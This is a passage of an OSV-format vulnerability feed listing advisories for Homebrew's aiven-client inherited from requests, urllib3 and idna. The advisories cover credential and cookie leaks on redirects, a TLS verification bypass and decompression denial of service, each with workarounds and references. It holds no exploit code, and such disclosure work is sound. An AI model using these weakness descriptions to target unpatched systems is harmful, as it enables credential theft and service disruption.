requests when redirected. Note this behavior has _only_ been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. `https://username:password@proxy:8080`).\n\n**Current vulnerable behavior(s):**\n\n1. HTTP → HTTPS: **leak**\n2. HTTPS → HTTP: **no leak**\n3. HTTPS → HTTPS: **leak**\n4. HTTP → HTTP: **no leak**\n\nFor HTTP connections sent through the proxy, the proxy will identify the header in the request itself and remove it prior to forwarding to the destination server. However when sent over HTTPS, the `Proxy-Authorization` header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.\n\nThe reason this currently works for HTTPS connections in Requests is the `Proxy-Authorization` header is also handled by urllib3 with our usage of the ProxyManager in adapters.py with [`proxy_manager_for`](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/adapters.py#L199-L235). This will compute the required proxy headers in `proxy_headers` and pass them to the Proxy Manager, avoiding attaching them directly to the Request object. This will be our preferred option going forward for default usage.\n\n### Patches\nStarting in Requests v2.31.0, Requests will no longer attach this header to redirects with an HTTPS destination. This should have no negative impacts on the default behavior of the library as the proxy credentials are already properly being handled by urllib3's ProxyManager.\n\nFor users with custom adapters, this _may_ be potentially breaking if you were already working around this behavior. The previous functionality of `rebuild_proxies` doesn't make sense in any case, so we would encourage any users impacted to migrate any handling of Proxy-Authorization directly into their custom adapter.\n\n### Workarounds\nFor users who are not able to update Requests immediately, there is one potential workaround.\n\nYou may disable redirects by setting `allow_redirects` to `False` on all calls through Requests top-level APIs. Note that if you're currently relying on redirect behaviors, you will need to capture the 3xx response codes and ensure a new request is made to the redirect destination.\n```\nimport requests\nr = requests.get('http://github.com/', allow_redirects=False)\n```\n\n### Credits\n\nThis vulnerability was discovered and disclosed by the following individuals.\n\nDennis Brinkrolf, Haxolot (https://haxolot.com/)\nTobias Funke, (tobiasfunke93@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-j8r2-6x86-q33q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-32681"},{"type":"WEB","url":"https://github.com/psf/requests/commit/74ea7cf7a6a27a4eeb2ae24e162bcc942a6706d5"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.31.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2023-74.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/06/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AW7HNFGYP44RT3DUDQXG2QT3OEV2PJ7Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYASTZDGQG2BWLSNBPL3TQRL2G7QYNZ"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202309-08"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2023-43804","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:08:52Z","upstream":["GHSA-v845-jxx5-vc9f","CVE-2023-43804","PYSEC-2023-192"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"3.1.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.6","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"`Cookie` HTTP header isn't stripped on cross-origin redirects","details":"urllib3 doesn't treat the `Cookie` HTTP header special or provide any helpers for managing cookies over HTTP, that is the responsibility of the user. However, it is possible for a user to specify a `Cookie` header and unknowingly leak information via HTTP redirects to a different origin if that user doesn't disable redirects explicitly.\n\nUsers **must** handle redirects themselves instead of relying on urllib3's automatic redirects to achieve safe processing of the `Cookie` header, thus we decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Using an affected version of urllib3 (patched in v1.26.17 and v2.0.6)\n* Using the `Cookie` header on requests, which is mostly typical for impersonating a browser.\n* Not disabling HTTP redirects\n* Either not using HTTPS or for the origin server to redirect to a malicious origin.\n\n## Remediation\n\n* Upgrading to at least urllib3 v1.26.17 or v2.0.6\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Cookie` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-v845-jxx5-vc9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43804"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/01220354d389cd05474713f8c982d05c9b17aafb"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/644124ecd0b6e417c527191f866daa05a5a2056d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-192.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I3PR7C6RJ6JUBQKIJ644DMIJSUP36VDY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NDAGZXYJ7H2G3SB47M453VQVNAWKAEJJ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20241213-0007"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-43804-urllib3-vulnerability-3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2023-45803","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:08:51Z","upstream":["GHSA-g4mx-q9vg-27p4","CVE-2023-45803","PYSEC-2023-212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"3.1.1_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.7","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's request body not stripped after redirect from 303 status changes request method to GET","details":"urllib3 previously wouldn't remove the HTTP request body when an HTTP redirect response using status 303 \"See Other\" after the request had its method changed from one that could accept a request body (like `POST`) to `GET` as is required by HTTP RFCs. Although the behavior of removing the request body is not specified in the section for redirects, it can be inferred by piecing together information from different sections and we have observed the behavior in other major HTTP client implementations like curl and web browsers.\n\nFrom [RFC 9110 Section 9.3.1](https://www.rfc-editor.org/rfc/rfc9110.html#name-get):\n\n> A client SHOULD NOT generate content in a GET request unless it is made directly to an origin server that has previously indicated, in or out of band, that such a request has a purpose and will be adequately supported.\n\n## Affected usages\n\nBecause the vulnerability requires a previously trusted service to become compromised in order to have an impact on confidentiality we believe the exploitability of this vulnerability is low. Additionally, many users aren't putting sensitive data in HTTP request bodies, if this is the case then this vulnerability isn't exploitable.\n\nBoth of the following conditions must be true to be affected by this vulnerability:\n\n* If you're using urllib3 and submitting sensitive information in the HTTP request body (such as form data or JSON)\n* The origin service is compromised and starts redirecting using 303 to a malicious peer or the redirected-to service becomes compromised.\n\n## Remediation\n\nYou can remediate this vulnerability with any of the following steps:\n\n* Upgrade to a patched version of urllib3 (v1.26.18 or v2.0.7)\n* Disable redirects for services that you aren't expecting to respond with redirects with `redirects=False`.\n* Disable automatic redirects with `redirects=False` and handle 303 redirects manually by stripping the HTTP request body.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-g4mx-q9vg-27p4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45803"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e50fbc5db74e32cabd5ccc1ab81fc103adfe0b3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e98d57809dacab1cbe625fddeec1a290c478ea9"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b594c5ceaca38e1ac215f916538fb128e3526a36"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-212.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/1.26.18"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.0.7"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4R2Y5XK3WALSR3FNAGN7JBYV2B343ZKB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PPDPLM6UUMN55ESPQWJFLLIZY4ZKCNRX"},{"type":"WEB","url":"https://www.rfc-editor.org/rfc/rfc9110.html#name-get"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2024-35195","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:34Z","upstream":["GHSA-9wx4-h78v-vm56","CVE-2024-35195","PYSEC-2026-1873"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.1.1_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests `Session` object does not verify requests after making first request with verify=False","details":"When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later.\n\nThis occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity.\n\nThis behavior affects versions of `requests` prior to 2.32.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35195"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6655"},{"type":"WEB","url":"https://github.com/psf/requests/commit/a58d7f2ffb4d00b46dca2d70a3932a0b37e22fac"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IYLSNK5TL46Q6XPRVMHVWS63MVJQOK4Q"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/N7WP6EYDSUOCOJYHDK5NX43PYZ4SNHGZ"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2024-3651","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:34Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.1.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2024-37891","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:34Z","upstream":["GHSA-34jh-p97f-mpxf","CVE-2024-37891","PYSEC-2026-1995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.2.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's Proxy-Authorization request header isn't stripped during cross-origin redirects","details":"When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected.\n\nHowever, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects.\n\nBecause this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident.\n\nUsers should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-Authorization` header, but we still decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Setting the `Proxy-Authorization` header without using urllib3's built-in proxy support.\n* Not disabling HTTP redirects.\n* Either not using an HTTPS origin server or for the proxy or target origin to redirect to a malicious origin.\n\n## Remediation\n\n* Using the `Proxy-Authorization` header with urllib3's `ProxyManager`.\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Proxy-Authorization` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37891"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/40b6d1605814dd1db0a46e202d6e56f2e4c9a468"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/accff72ecc2f6cf5a76d9570198a93ac7c90270e"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240822-0003"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/proxy-authorization-header-handling-vulnerability-in-urllib3-cve-2024-37891"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2024-47081","published":"2026-08-13T16:35:13Z","modified":"2026-10-21T09:12:01Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.7.2_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.32.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2026-1872.yaml"},{"type":"WEB","url":"https://pypi.org/project/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2025-50181","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:35Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.7.3_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0)  # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0))  # equivalent to the above\nhttp = urllib3.PoolManager(retries=False)  # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2025-66418","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:35Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.11.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2025-66471","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:34Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.11.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by 